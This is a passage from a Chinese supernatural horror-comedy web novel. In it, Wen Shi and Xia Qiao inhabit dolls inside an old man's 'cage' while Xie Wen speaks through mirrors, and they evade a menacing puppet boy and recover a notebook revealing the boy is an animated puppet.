小男孩幽幽地盯着他,几乎一模一样复刻道:“好不好?”
老人:“这样就对了。”
小男孩便开始重复地说:“做木偶,好不好?”
“好不好?”
“好不好?”
像一种诡异的撒娇。
这要是个胆子小的,眼泪都能被他撒出来。
老人好像很不情愿教他这个,但在这样一叠声的重复中还是妥协了,叹了口气说:“好,走,咱们做木偶去。”
小男孩很高兴,但他表情迟了一拍,过了几秒才缓慢地咧开嘴。
他乖乖牵着老人的人,走了两步又突然回头,维持着咧嘴笑的模样,把床上的夏樵一起拖走了。
闻时:“……”
房间门一关,闻时就动了起来。
他想试着走两步,结果没控制好,一个踏空直接掉下橱柜,差点劈了个叉。
“我……”
闻时趴在地上,忍下了满腹骂人话。
洋娃娃身体里都是棉絮,这么掉下去不痛不痒。只有纽扣之类的装饰品敲在木地板上,发出“笃”的响声。
好在声音不大,那对鬼气森森的爷孙没听见。
闻时是个大高个儿,从来没受过腿短的苦。再加上娃娃的身体太软,很难作劲,他尝试了很久才翻身坐起来。
作为一个兴趣范围非常窄的成年人,他当然对这种洋娃娃没有研究,也没有兴趣。但是印象里,这玩意儿坐着的时候,都直挺挺地岔着短腿,像个V。
……
他现在就是这么个憨批坐姿。
唯一值得欣慰的是……他穿的不是裙子。
感天动地。
不过粉色背带裤依然弱智。
闻时低头打量了一番,满心嫌弃,不想再看第二眼。
他背抵着床脚歇了一会儿,抬头看向自己刚刚呆的柜子,顿时有些诧异。因为人偶的数量实在太多了。
橱柜占据了大半面墙,上上下下一共四排,四排全是人偶。
有他和夏樵这种西式的,也有一些中式的,只是中式的那些全都没有眼睛。
这么看了一圈,闻时心里有点原谅谢问了。
他还是很讲道理的。
就傀术上来说,做得最好的人偶跟人只差一个灵相,本就是最容易附着的东西,像谢问那种半吊子水平,引到洋娃娃身上也无可厚非。
其实照片也很容易,但这间屋子里并没有照片。可能老人没有摆放出来的习惯,都收起来了。
这点倒是跟闻时挺像的。他的照片横跨了太多年,模样又丝毫不变,摆出来除了吓唬人没别的用处。
闻时坐着歇了一会儿,又活动了一下手脚,慢慢适应这种满身棉絮的感觉……然后开始找人。
他冲满橱柜的洋娃娃叫了一声:“谢问?”
说实话,这种对娃娃说话的行为真的很智障。
他忍了忍,又低低叫道:“谢问?”
房里一片死寂,依然没有任何回音。
“人呢?”
“别装死。”
“……”
闻时耐心见底,他正要提高音调再叫一声,吧嗒吧嗒的脚步声又到了房门口,还伴着楼下老人的嘱咐。
老人说:“再拿一卷棉线。”
小男孩的声音就在房门外:“噢。”
闻时左右看了一眼,没有别的躲藏地,便匆忙滑进了床底下。
正常情况下,一个七八岁的孩子,再吓人也做不了什么,但在笼里就不一定了。
说白了,笼是某个人内心最深处的遗憾、怨憎、妒忌、欲望、恐惧等等……任何人的闯入,对笼主来说都是一种冒犯,哪怕是判官。
所以闯入者在笼里是危险的,任何东西被惊动了,都会有攻击性。
就好比闻时之前碰到的假“夏樵”,那就是对闯入者的恐吓,代表着笼主潜意识里的排斥。
在没弄清楚情况前,闻时不想自找麻烦。
这家的床是老式的,四脚很高,深色绒布罩子从四边垂挂下来,像帷幔一样把床底遮得严严实实。
闻时坐在里面,想等那男孩拿了棉线再出去。
然而整个房间一片寂静,始终没响起“吧嗒吧嗒”的拖鞋声。
闻时等了一会儿,忽然觉得不对。
他撑着地板转过头,看到了小男孩空洞的大眼睛。他不知什么时候到了床底,就蹲在身后,一眨不眨地盯着闻时,说:“我看到你了。”
“……”
25年没干过活了,闻时在心里叹了口气,转头就要从床底翻出去。
他身手是很敏捷,结果他妈的手短腿更短,翻了一跟头还在床底!眼看着男孩伸出手,他连忙够了一下床脚,借着那个力,把自己滑进了橱柜底下。
这里倒是足够矮,小男孩钻不进来。
他看到男孩趴在了地板上,白色的手指顺着缝隙伸进来,一下一下抓捞着,越抓越急。
小男孩的指甲并不长,却在地板上抓挠出嘎吱嘎吱的声音,木屑四处迸溅,有些嵌进了肉里,他却不知道疼似的,依然攀着地板试图去抓闻时这个娃娃。
直到楼下突然一阵哗啦乱响,不知发生了什么。
老人叫了一声,小男孩才骤然停下。
刚刚的一切就像没有发生过,他从橱柜边站起来,去门口穿上拖鞋,又吧嗒吧嗒跑进来,开始翻抽屉找棉线,然后叫着“爷爷”匆匆下了楼。
闻时就被遗忘在了橱柜底下。
他等了一会儿,又从橱柜底下滑出来。
小男孩走得太匆忙,房间门忘了关。闻时趁机出了房间,从楼梯栏杆处探头往下看。
房子里的布置很传统,楼下厅堂正中有个八仙桌,桌上放着木偶散装的胳膊和腿,钻孔用的钻子,以及散落的棉线。
夏樵那个人偶就躺在桌边,想必刚刚那对爷孙就在这里做着木偶,只是现在人不见了。
闻时又往下走了几个台阶,发现他们正在角落扫玻璃渣,好像有什么东西摔碎了。
爷孙俩半天才处理完,又坐回八仙桌边。
老人抓起木偶身体,指着后心的位置对小男孩说:“第一根线一定要从这里穿,其他地方都不行。”
“为什么?”小男孩问。
老人捻着线说:“不是给你讲过么,以前有一些很厉害的人,做出来的木偶特别灵,跟人一模一样。”
小男孩这时候又像个正常孩子,问道:“是真的一模一样吗,我房里那些算吗?”
有一瞬间,老人似乎想说点什么,但他没有出声,只是那么坐着,不知是发呆还是在斟酌。
过了一会儿,老人说,“吓唬你的,得特别厉害才行。”
这些闻时其实最清楚。
傀术里,刚入门的人只能做出小猫、小鸟、兔子这些东西,逗人开心,顶多一两分钟就垮了。
而精通的人,比如沈桥他们,可以做的东西就多了,男女老少、世间百兽,都可以做来驱使着用。
越是厉害的人,傀存留的时间越久。
不过大多数只能坚持十天半个月,再往上便屈指可数。
闻时算是“屈指可数”
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中的一个,不过他缺了灵相,受限太多。
小男孩还在冒问题:“为什么不能先穿别的线,你还没说。”
老人吓唬他说:“因为这里最要紧,如果这根线不穿,木偶就特别容易活。”
小男孩“噢”了一声。
闻时不知道老人从哪听来的这种话,不过确实没错。所有傀的心脏部位都有一个印记,多数是傀师自己的标记,类似于画师在落款敲个章。
如果要弄垮别人的傀,一根线穿胸而过就可以。
跟人其实是一个道理。
不过这些话流传到民间,就成了各种奇奇怪怪的忌讳,比如老人说的这些。
闻时听了一会儿,没听出滋味来,便悄悄把楼上逛了一遍。
他本想找谢问,但跑遍二楼也没发现什么踪迹,又不能直呼其名,只得暂时作罢,躲在杂物间的角落里等半夜。
***
笼里的时间走得很快,没多久,天就已经彻底黑了。
这栋房子突兀地站在山里,与世隔绝,夜里更是静得像个废弃多年的空宅。
小男孩房门虚掩着,里面没有任何声音,就连呼吸声都听不见。
闻时悄无声息地经过,沿着楼梯下到一层,老人的卧室就在这楼。
整个白天,他除了在找谢问,就是在观察这对爷孙。这是老人的笼,他大概知道老人的心结跟孙子有关,但具体是什么,他还没能弄清楚。
他想趁着夜色,去老人房间里看看。
经过客厅的时候,闻时听到了一个颤抖的声音,轻得像闹鬼:“哥……哥……”
“哥,是我,你回头看看我……”
闻时:“……”
他顺着声音,绕到那张八仙桌边,看见夏樵还高位截瘫在椅子上。
“哥你干嘛去?”夏樵轻声问。
“去老头屋里看看。”闻时答着,又问他:“你看到谢问了么?”
“没有啊,他不在那堆洋娃娃里吗?”
闻时说:“不在。”
夏樵:“那他人呢?”
闻时:“鬼知道。”
不会把他俩送进来了,自己没进成功吧?
闻时心里琢磨着,以谢问那个菜鸡水平,说不定真干得出来。
其实判官进笼心是能看出水平高低的。简单的就是像他们这样,附在人偶、照片上,稍麻烦一点的是附在镜子上,然后是挂画。至于其他……越不像人的东西越难,能控制的东西越多就越厉害。
曾经的闻时状态好的时候,甚至可以控制整个笼心。
不过那已经是曾经了。
有闻时在,夏樵终于敢动了。
他挣扎着从椅子上摔下来,歪歪扭扭地站直,一边还叨咕着:“小心小心……不能碰出声音。”
闻时听着有些无语,“也不用这么夸张。”
“要的。”夏樵牵着他的裙子,一本正经地说:“这屋里东西都特敏感,万一碰一下炸了呢,下午那个玻璃茶壶就是突然炸了的。”
“茶壶?”闻时愣了一下,这才想起来,下午小男孩试图抓他的时候,楼下的爷爷不小心摔碎了东西。
“你说茶壶是突然炸的?”
“对啊!”
闻时有点纳闷,正想再问两句,余光里突然闪过一抹惨白人影。
他瞬间刹住话头,转头看过去,就见那是一面穿衣镜,就放在老人的卧室门边,斜斜支着。刚才那个无声站立的人影就在那面镜子里。
夏樵根本不敢动。
闻时却抬脚过去了,他走到镜子面前,凑到近处去碰了一下镜面,正想试试里面是否有古怪。
忽然听见谢问的声音贴着面前响起,嗓音带笑:“别凑这么近吧,你这大眼睛水灵灵的,怪让人害怕的。”
闻时:“……”
我他妈——
他朝后退了一步,刚想骂出声,就看到了镜子里的自己。
西式洋娃娃的眼睛不开玩笑,睫毛又长又翘,真是水汪汪的,再加个背带裤……
他自己都怕。
但他怕了两秒便反应过来——
谢问这个王八蛋自己进了镜子,却把他们塞进娃娃里,这他妈是人干得出来的事???
8. 抽屉
除了眼睛水汪汪的娃娃,镜子里还有谢问的影子。
那道身影非常模糊,别说五官模样了,连长短发都看不清。就像一个高而苍白的人,站在某个近在咫尺又遥不可及的地方。
有一瞬间,闻时觉得这一幕似曾相识。
他似乎也见过这样一个人,赤足站在依稀天光下,垂眸看着脚下蜿蜒成河的血,拎了拎松散雪白的袍摆……
但他转而又想起来,那很久以前在某本手抄书、也可能是某幅旧画上看到的场景。时间太过久远,记混了。
“笃笃笃。”
镜子发出三声手敲的轻响。
闻时眨了一下眼睛,瞬间回神。
镜子里,谢问模糊的影像弯下腰,看着对他而言过于矮小的娃娃,问:“不说话?真气懵了?”
闻时:“你站直说话。”
谢问:“站直了高度有点差距,你们两个脖子受累,我眼睛也累。”
闻时:“……”
你他妈不搞区别待遇,高度就没有这种差距,大家都不用累。
他冷冷平视着谢问的腿,觉得自己今天的脾气格外坏,千年修行都砸在这人手里了。
谢问依然是那副讲道理的语气:“不是故意逗你们,这房子里一张摆放出来的照片都没有,镜子也很少,卫生间有一面,这里一面,还有老人家床头有一面小的。要是都进了镜子,活动范围小得可怜。”
他停顿了一下,又笑了:“到时候什么都看不到,不是还得怪我?”
夏樵从惊吓中回过神,附和道:“对哦,有点道理。”
闻时:“……”
他想转头警告一下这个乱倒戈的傻子,结果洋娃娃做不了“回头”这个动作,一回就是扭全身。
夏樵被他回懵了,半晌小心翼翼地说:“闻哥,你这姿势有点可爱。”
镜子里的人可能呛了一下,闷咳起来。
闻时闭了一下眼,心想再搭理这两个傻x我名字倒过来写。
他不理人了,客厅便恢复寂静。
夏樵刚刚还觉得氛围挺轻松的,一点都不可怕,这才静了几秒,那种悄无声息的恐惧感又顺着后背爬上来。
闻时那个娃娃靠在老人门口,一动不动。
镜子里的人影没有消失,就那么无声站着。因为太高的缘故,从夏樵的角度看来甚至不像站着,更像是吊在那里。
夏樵忽然产生一种错觉,好像闻时和谢问根本不在,从始至终都只有他一个人在这屋里。门边的娃娃是他拿下来的,没有生命。镜子里的不知道是谁,白衣曳地,面无表情地盯视着他。
他在心里默念“这是谢问、这是谢问、这是谢问”,“他在看闻哥没看我、没看我、没看我”。
许久之后他小心抬头,却正对上了镜中人的眼睛。
闻时从背带裤上扯了两条线,绕在手上,正试图操着线去开房门。
洋娃娃的动作实在难控制,他耗费了一点时间,刚弄开锁,就听见夏樵极低地呜咽了一声。
闻时:“……”
他有点头疼,忍了忍还是压低声音问道:“又怎么了?”
夏樵没好意思说自己被脑补吓到了,支吾道:“我、我想起小时候做的好多噩梦,也有娃娃和镜子。”
闻时:“……”
他没做过这种款式的噩梦,也没有耐心安慰小鬼。他把线在手上又绕一圈,绷紧后轻轻一拽,老旧的房间门“吱呀”一声开了。
“嘘。”闻时头也不回,示意他噤声。
夏樵虽怂但听话,当即闭了嘴,连抽噎声都消失了。
闻时背手招了招,带头钻进了房间。
洋娃娃的视角很矮,进门也看不到房间全貌。只能看到一张式样同样老旧的大床,床上被褥隆起,老人应该正睡着。
靠门的这边有个床头柜,正如谢问所说,柜子上斜支着一面椭圆的镜子,比手掌略大一些,90年代初流行的那种。
闻时把门抵上,余光瞄见那个椭圆镜子里有人脸一闪而过,估计是谢问进来了。
他对目光很敏感,虽然看不清谢问的表情,但他能感觉到镜子里的谢问朝房间里侧递了个眼神。
里侧?
里侧有什么?
闻时朝那个方向张望,床挡住了大半视野,他只能看到一个角落——那里应该有个靠窗的老式书桌,两边是一竖排抽屉的那种,有个抽屉上挂着锁。
闻时抬脚就要往那边摸。夏樵却在后面抓了他一下。
“干嘛?”闻时用气音问。
“要进去吗?”夏樵也不敢出声,只敢用气音,就这样他都哆嗦。
“那里有锁。”
“有锁怎么了?”
“在笼里,上锁的东西一定很重要。”闻时说。
“为什么?”
“因为这是笼主的潜意识,潜意识都不忘藏着的东西,你说呢?”闻时没好气地反问。
很多时候,找到上锁的地方,就意味着离解笼不远了。
闻时沿着床尾,悄声朝那边靠近。
他终于感受到了洋娃娃的好处,可以四处走动,摔不坏打不碎,因为身体软,还不会留下脚步声。
这么想着,他心情好多了,又觉得谢问那番话还是有点道理的。
还没到桌子面前,闻时就动用了手里的线。
一根线落到厉害的傀师手里,只要手指动一动,就能做很多事。闻时现在的效果要打点折扣,但也是个好工具。
眼见着线的另一头缠上了那道锁,闻时再次拉拽一下,线头钻进了锁孔中。
就在他终于挪到书桌前,准备把锁弄下来时,余光瞥见桌边的影子不太对。
房间窗帘敞着,外面暗淡青白的月光斜照进来。闻时身侧的地方上落了好几道影子——书桌的、窗格的、他和夏樵两个布娃娃的……
那多出来的那道是谁的?
闻时猛地一抬头,看到小男孩正面无表情地站旁边,手里高高举着一柄锥子。
那锥子下午还躺在客厅的八仙桌上,本是拿来给木偶钻孔的,放在傀师的说法里,叫勾灵锥。那尖利程度,捅穿一个人也不成问题。
小男孩乌黑空洞的眼珠一转不转,直直盯着闻时,锥子悬在上方,最尖利的地方对着闻时的眼睛。
就在锥子将要落下的一瞬间,闻时捏紧手上缠绕的绳子,猛地一拽。
“啪——”不远处传来一声响,像是什么东西忽然倒了。
小男孩的注意力被分散,眼珠慢慢转向一边,盯向床头柜。
于此同时,闻时手里的绳子连带着铜锁头,甩了过来,重重砸在小男孩背后。小男孩闷哼一声,瞳仁忽然散开,整个人垮塌在地,但下一秒他又窜了起来。
闻时顾不得其他,推了一把夏樵,沉声道:“跑!”
他自己绕了个危险的远路,翻上老人的床。小男孩显然对他的兴趣更浓,也跟着翻上来。
闻时连跑带翻,躲着小男孩的手。
好几次手指都碰到他了,又被他惊险躲开,一路直奔楼上。
“我马上就要抓到你了。”小男孩不断重复着这句话,阴魂不散,紧追不舍。
直到二楼的吊灯突然断裂,轰然砸落,这
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才阻断了对方的步子。
闻时借机,猛地窜进杂物间最顶上的柜子里,又在夏樵的鬼哭狼嚎中把他吊了上来。场面一度混乱又狼狈。
在那片嘈杂声中,整个二楼所有房间,包括杂物间的门都“砰”地砸上了,关得严严实实。
这一下动静很大,别说夏樵,连闻时都有点懵。
但他们没出声,悄然地窝在橱柜里,隔着紧闭的门,仔细听着外面的动静。
吊灯碎片从楼梯上滚落,小男孩吧嗒吧嗒的脚步声夹在其中,绕过吊灯上楼来了,由远及近,就停在杂物间门口。
接着门锁被人拽了两下,嘎嘎作响。
门被踹了几脚,却怎么也打不开,灰尘扑簌簌往下落,听得人心惊肉跳。
过了片刻,小男孩终于放弃,转而去了其他几间房。
闻时听到了布料的撕扯声,伴随着小孩不断重复的“找到你了”、“马上就找到你了”、“肯定能找到你”。
诡异的让人毛骨悚然。
又过了很久,那种撕扯声才停。
小男孩回了卧室,房门“吱呀”一声关上了,整个二楼回归寂静,好像刚才的一切根本没有发生。
闻时放松下来,感觉手有点酸,他想活动一下软绵绵的筋骨,却发现自己怀里搂着个东西。
他低头一看……
跟镜子中的谢问来了个脸对脸。
闻时:“……”
“别动。”谢问模糊的轮廓从镜子里隐去,但声音依然近在咫尺,“你这位置有点高,镜子容易摔。”
也许是杂物间太小的缘故,听起来就好像……他其实并没有窝缩在狭小的镜中,而是在虚空里,就站在闻时身边,正低着头跟人说话。
闻时沉默片刻,大概是逆反心理作祟吧。他抓着镜子,一声不吭地把手伸出去,像一种无声的震慑和威胁——
只要他手一撒,镜子就能摔个稀巴烂。
谢问也不恼,劝哄道:“屋里总共就三面,碎了可不能修。”
闻时盯着镜子:“你为什么在我、手里。”
他差点脱口而出“怀里”,又觉得不太对味,硬是拐了个弯。
“你狼狈出逃的时候捞的。”谢问说。
放屁。
闻时冷声道:“我捞你干什么?”
谢问失笑:“我怎么知道。”
他想了想,评价道:“还挺讲义气。”
夏樵这一趟受到了莫大惊吓,在旁边不敢动,也不敢插话。但不知道为什么,他听到谢问这个说话语气,总感觉带着一股上位者的味道,仿佛这话没说完整。
要是完整点,大概后面得加个“好孩子”。
夏樵把这突如其来的脑补往他闻哥身上套了套,吓得一哆嗦,感觉自己可能脑子坏了。
他连忙岔开话题说:“刚刚吓死我了!这个大逃生,简直跟我小时候乱七八糟的噩梦一模一样。还好闻哥你把吊灯弄掉下来了,不然——”
想想刚刚那些撕扯声,鬼知道他们会变成什么样。
然而闻时却暗自皱了眉:“吊灯是我弄的么?”
“是啊。”夏樵说,“我看到你往前跑的时候手一甩,绳子绕上去了,然后吊灯就砸下来了。”
闻时有些狐疑。
谢问紧跟了一句:“我也看到了,身手还不错。”
闻时:“……”
也许是刚刚太混乱,真让他回想,他也记不清自己拉拽了哪些东西来挡小男孩的路,包不包括吊灯。
可能太久没干活吧,闻时瘫着脸心想:这次处处都很梦幻,还是早点出去为妙。
9. 笔记
“那小孩还会发疯么?”夏樵后怕地问。
“过了今晚就好。”闻时说。
“噢。”夏樵松了一口气。
谢问补充道:“等到明天再刺激到他,又是另一种疯法了。”
夏樵:“……”
闻时给了镜框一巴掌。
棉花手打人没劲,谢问不恼反笑,说:“某些人是不是太凶了点?”
某些人装死没吭声。
杂物间没有窗户,在里面呆一会儿就会混淆时间。
夏樵吓得不敢闭眼,闻时倒是靠着橱柜说:“我睡会儿。”
为了防止烦人的谢问摔成八瓣,他勉为其难找了个安全位置,闭眼前拍了拍镜框说:“你老实点。”
谢问欣然应允,过了片刻忽然说:“你肚子在叫,是不是饿了?”
洋娃娃冷冷道:“闭嘴。”
谢问笑道:“行。”
然后真的安静下来。
不知过了多久,天终于亮了。
杂物间里依然一片漆黑,但外面的脚步声告诉他们,那对爷孙已经起床了。
闻时惦记着楼下那个上锁的抽屉,想出去看看。又怕碰到新的危险,便没带夏樵,让他在杂物间里等着。
本来他连谢问都不想带,但谢问说:“我不占什么地方,还能放哨,真的不考虑一下?”
于是闻时考虑了一下……把镜子掖进了橱柜最深处。
谢问:“……”
“谁让你容易碎呢?你要是个娃娃,我就带你了。”闻时平静说完,开门溜了出去。
他还是更习惯一个人做这些事,顾虑少一些。
虽说笼都是虚相,但也有过判官除煞不成,反倒把命搭进去的事,数量并不少。
他不想攥着夏樵和谢问两个人的命来冒险。
***
这栋房子还是老式的窗户,采光一般。外面始终是阴天,屋子里也暗沉沉的。
闻时藏在角落,看见老人缓慢地上了楼。
昨晚砸落的吊灯不见了,天花板有个黑洞洞的豁口。
二楼走廊上到处是洋娃娃的残肢,撕下来的头滚落一地,脖颈里溢出棉絮。
玻璃珠似的眼睛被人揪了下来,滚了一地。有些睁得很大,一眨不眨地瞪着屋顶。
老人从口袋里掏出一个黑色垃圾袋,抖开,一言不发地捡着那些头和手脚。
小男孩站在背光的阴影里,一动不动地看着他。
半晌后,他很小声地说:“对不起。”
老人没吭声。
他又重复道:“对不起。”
“爷爷对不起。”
老人轻轻叹了口气,艰难地直起身体,问他:“这些不是你喜欢的娃娃么?为什么又弄坏了。”
小男孩的声调依然毫无起伏:“因为我害怕。”
闻时:“……”
你再说一遍你什么?
这话要让夏樵听见,他能当场崩溃。
闻时心想。
而小男孩还在解释:“它们总看着我,我害怕。”
“所以你又把它们的眼睛弄下来?”老人问。
“嗯。”
闻时想起橱柜里那些中式人偶缺失的眼睛,明白了老人那个“又”字。这种事,恐怕小男孩干过好几回了。
老人叹了口气,声音轻飘飘的,显得房子更阴森了。
小男孩忽然说:“它们是活的。”
老人看向他。
小男孩:“它们都会活。”
老人:“不会的。还记得我之前教你的吗?只要穿了胸口那根线,就不会活。”
小男孩捡起地上的娃娃残肢,一本正经地说着吓人的话:“记得,所以我把它们都撕了,这些胸口上钉了纽扣,胸花,但还有些没有。”
老人不知该怎么让他明白,只得说:“这种娃娃不一样。”
小男孩问:“哪里不一样?”
老人摇摇头,把剩下的残肢减了,放进垃圾袋里扎上口。然后问:“你为什么总觉得娃娃会活?”
小男孩不说话了。
老人又缓和了语气,像在开玩笑哄他:“就算真活了,有个一起玩的小朋友也挺好。”
“不好。”小男孩立刻摇头。
“为什么?”老人问。
“那样你就不要我了。”
“不会,怎么会。”老人愣了许久,这才缓声说:“爷爷不会不要你的。”
闻时听着微微皱起眉。
但他并没有在这多耽搁,趁着老人在扫满地的棉絮,他借着垃圾袋的遮挡,溜到楼下。
“你总算下来了。”谢问的声音突然在耳边响起,闻时惊了一跳。
他这才想起来,老人卧室门口还有一个穿衣镜,谢问可以在镜子之间自如来回。
“上面好玩么?”镜子里模糊的人影朝楼上看了一眼,“我以为你要跟那一老一小手拉手下来呢。”
“滚。”闻时说。
这要是以往,他多一句都懒得解释。但也许是谢问开玩笑的语气太明显吧,他脚都抬起来了,又补充道:“我听听什么情况,你要自己入笼你也得这样。”
谁知谢问“唔”了一声,说:“我还真不大听。”
他顿了一下,又轻声道:“不过我这水平也没入几回笼。就是顺嘴提点一句,听多了难免心软手软,不如不问。”
听听这长辈教导晚辈似的口气。
闻时面无表情地看着他,说:“哦。”
谢问被他语气弄笑了:“怎么了?”
闻时:“不知道的以为你是尘不到呢。”
洋娃娃顶着一张冷酷脸,抬脚进了卧室,还反手把门掩上了。
镜子里的高挑人影倚着框靠了一会儿,哂笑着低声道:“大逆不道。”
***
老人的卧室跟昨夜几乎没有区别,只是床头柜上少了一面镜子。按理说这种变化会引起笼主的警惕,但看老人刚刚的模样,好像并没有什么攻击性。
也许是被二楼的狼藉吸引了注意力,暂时忽略了那面镜子。
书桌的抽屉上依然挂着锁,昨晚被撬的痕迹已经消失了,说明笼主护住这里的意愿很强烈。
闻时试着探出一根线,伸进锁孔。
棉线像是活了,在锁孔里捣出很轻的咔哒声。
他屏息等了一会儿,忽然感觉余光里,有什么东西正趴在窗框上,注视着这边。
他抬头一看,窗框那空空如也,并没有东西。
闻时又垂下眸子。
娃娃的睫毛长度非人,有点遮挡视线,以至于他眨个眼,都觉得好像有影子闪过去了。
锁头弄开的瞬间,那种被注视的感觉又来了。
闻时再次抬头,窗框那里依然是空的,只有窗帘在初夏潮闷的风里轻轻晃着。
开锁会碰到干扰是必然的,不是第一次了。
他索性不再管窗框,一把扯了锁头,以最快的速度拉开抽屉,把里面一个厚厚的文件袋捞出来。
然后转头就走。
娃娃是个棉花身体,抱着这玩意儿头重脚轻,跑起来非常难受。
闻时跑到门前,正要开门,却忽然抬了一下眼。
就见老式的金属门把手上映着闻时这个洋娃娃的脸,而在他身后,一个散着长发的人头正直勾勾地伸着脖子探过来,嘴唇咧着诡异的弧度。
闻时:“……”
该来的还是要来。
他瞬间放弃拉开门的想法,当即一个侧身,搂着文件袋从门缝里钻出去。
侧身的那一刻,他看到了身后那些东西的模样。
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>除了抻着长长脖子伸过来的森白人脸,还有横七竖八的手脚,像个趴伏在地的百脚蜘蛛。
闻时二话不说,抬脚就是一踹。
卧室门被他踹得撞回去,“砰”地一声正中人脸门面,帮他拦了一把追逐的“人”。
不知道那人脸什么材质的,门还弹了两下。
闻时拔腿就往楼上去,他上楼梯的时候,听到身后一阵哗啦脆响,听声音也能知道,是谢问把那面穿衣镜弄倒了,又帮他拦了一道。
总是死寂的屋子里瞬间变得热闹起来,各处的玻璃窗都发出了“砰”“砰”的声响,咯咯震颤。
闻时余光扫过去,全是在撞窗户的人脸。
眼看着楼梯这边的窗玻璃裂开了缝,闻时手腕一动甩了绳子,在人脸破窗的瞬间,套索一般勒住了它的脖子。
“闻哥!”夏樵在后面叫了一声,打开了杂物间的门。
闻时反手就把文件袋滑了过去,然后抡着人脸,把它扔了出去。
人脸:“……”
那东西砸在地上发出“噗噗”闷响,闻时多一眼都没看,自己滑进杂物间,然后砰地锁上了门。
他从自己身上又扯了两根线,然后揪住夏樵裙子上的线头,一边骂着:“这破手连个指头都没有,剁了算了!”
一边还是拗着手腕,把绳子绕在了门把手上。
娃娃的手对于他自己来说,够笨的。但在夏樵眼里,依然灵活得出乎意料。
……就是有点搞笑。
也不知道闻时用绳子捆了个什么阵,反正这扇门被锤了半天也没能打开。
唯一的遗憾是,夏樵裙子上的那根线他忘了扯断,以至于阵结好的瞬间,他一抽那头,夏樵就在门锁这头被倒吊起来,脚丫冲上地晃荡着。
“哥……”夏樵头冲下,十分委屈。
“对不起。”闻时绷着脸把他弄下来。
镜子里的谢问笑了半天。
“门外那些是什么东西?”夏樵噗地落在地上,拍了拍裙子上的灰,想想还是很惊恐。
闻时回想一番,说:“被小孩撕烂的那些娃娃。”
“啊?可是我看那些人头还有血,不像娃娃啊?难不成真活了?”
“笼里的东西本来就是跟笼主意识有关。”闻时一边说着,一边解开文件袋上的绳子,“不是按常理来说的。”
外面那些东西还在孜孜不倦地撞着,门板的颤动声听得人胆战心惊。
闻时在墙边摸索了一番,找到了杂物间的开关。
一盏很久没用的老式灯泡亮了起来,有点接触不良,灯丝一闪一闪的。
借着这点昏暗的光,闻时把文件袋里的东西掏出来。
那是一本厚厚的牛皮笔记,里面夹着很多散页和照片,大概又是日记、又是笔记,混杂着来的。
不过照片都是糊的,看不清人脸,本子里的字迹也是糊的,像被水泡过,墨汁化开了。
“怎么这样?”夏樵愣了。
“也是笼主的一种保护。”谢问那面镜子支在旁边,说了一句。
“这还能看吗?”
“能看一点。”闻时不是第一次碰到这种事了。
他抽出本子里夹着的第一张纸,眯起眼睛辨认着上面的字迹——
“200……不知道几年,养了三年的小孩……后面这段看不清,应该是病死了。”
“这年夏末,我在……银杏胡同外捡到了一个小东西。”
我管它叫小东西,是因为它并不是一个普通孩子。他穿着不知哪里弄来的衣服,破破烂烂像个小乞丐,胸口有个胎记一样的印。
有些老匠人看了会知道,这个印是什么意思。
以前有句老话,现在可能已经找不到了——木童子点睛画印曰傀。
这小东西就是个傀。
10. 换身
闻时把能看清的字挑着说了,他们拼拼凑凑,勉强看明白了这张散页的内容。
“所以、所以那小孩是个傀啊?”夏樵说。
“嗯。”闻时头也没抬,继续在翻后面几张散页。
“怪不得这么吓人。”夏樵捧着短短的手臂,搓了搓并不存在的鸡皮疙瘩,越想越后怕,“这么恐怖的小孩,老人家居然养得下去?”
“不知道。”闻时说。
过了片刻,他又想起正常人不会这么冷淡。他试着揣摩了一下,补充道:“可能养久了有感情。”
“这都能有感情?”夏樵想了想说:“老人家是好人。”
“笼里的东西有虚幻夸大的效果,那小鬼现实什么样,谁知道。”闻时说。
夏樵终于理解了一些:“好吧。”
闻时翻着纸页,忽然感觉有人在看自己。
他动作一顿,抬眼瞥过去,看到了镜子里谢问的影子,因为太过模糊,难以辨别表情。
“看我干什么?”闻时纳闷地皱起眉。
谢问愣了一瞬,慢声说:“你倒是敏感。没看你,看你手上那些纸呢,找到别的内容没?”
这语气……
活像个监工。
闻时没吭声,收回视线继续辨认着纸上的字。
几秒后,谢问说:“第二页第四行写的什么?”
闻时抿了抿唇,念道:“这傀不认物也不认人,恐是受过惊吓,领回来就缩在一角。”
“哦。”谢问又说,“最后那行呢?”
“……”
洋娃娃面无表情地把目光往下移:“倒是在我……中间几个字糊了看不清,突然抓住我的衣服。反正它也无处可去,就留下吧。”
谢问点了点头:“那第三页第——”
“要不你自己看吧。”洋娃娃终于没了耐性,抽了第三页纸,“噗”地拍在镜面上。
脾气还挺大。
谢问正要开口,杂物间垂悬下来的老式灯泡忽然晃了起来,晦暗光圈左右来回,照得整个空间影影绰绰。
他们同时安静下来。
一旦没人说话,那种死寂无声的感觉就被凸显出来。
闻时忽然意识到,咯咯作响的门早已不动,外面发疯的残肢不知何时变得悄无声息。
他在死寂中捕捉到了一种更小的动静——那是很轻的摩擦声,就像有什么东西在贴着墙爬行。
“什么声音?”夏樵一动不敢动,从嗓子眼里挤出一句气声。
闻时:“嘘。”
他猛地转头,看向身后一格一格黑黢黢的橱柜。
那里堆放着各种废旧杂物,积了厚厚的灰尘,稍微碰一下都会垮塌。摇晃的暗黄灯光照在上面,照得墙边一张白脸若影若现。
我操!
夏樵摁住嘴,这才把叫声闷在嗓子里。
但闻时居然攒爬了上去,拿起那张白脸低声说:“面具。”
那是小孩图画的简易面具,有两个黑漆漆的眼洞,边缘已经坏了,废弃多时。
夏樵松了一口气,但那种很轻的爬行声依然若隐若现。
闻时跳下来的时候,碰到了旁边的杂物,几个小东西滑落下来。夹杂着玻璃珠滚落的声音,咕噜噜滚到了镜子边。
闻时捡起来一看,发现玻璃珠里有一团黑色瞳仁,还粘着长长的睫毛,
那根本不是珠子,是掉下来的眼睛!
刹那间,空气几乎凝固。
他和夏樵几乎同时抬起头,看向珠子掉落的地方。
就见木质的天花板夹层不知何时多了一个洞,裂着嘴的人脸就趴在洞里,一边眼睛是黑洞洞的窟窿,另一边睁得极大。
紧接着,整个天花板开始出现裂缝,瞬间蔓延开来,像是承受不了上面的东西。
想也知道,门外的那些残肢断首现在都在哪里。
人脸越伸越长,裂缝也越来越密。
木质天花板整个垮塌下来的那一刻,闻时手腕猛地一拽,锁死的门“砰”地弹开,他来不及多说,一脚把夏樵踢出去,捞上镜子就往楼下跳。
夏樵想爬没爬起来,顺着楼梯一路滚到底,一边崩溃一边问:“为什么今天比昨晚还疯!”
“废话,因为我拿了那本笔记!”闻时说。
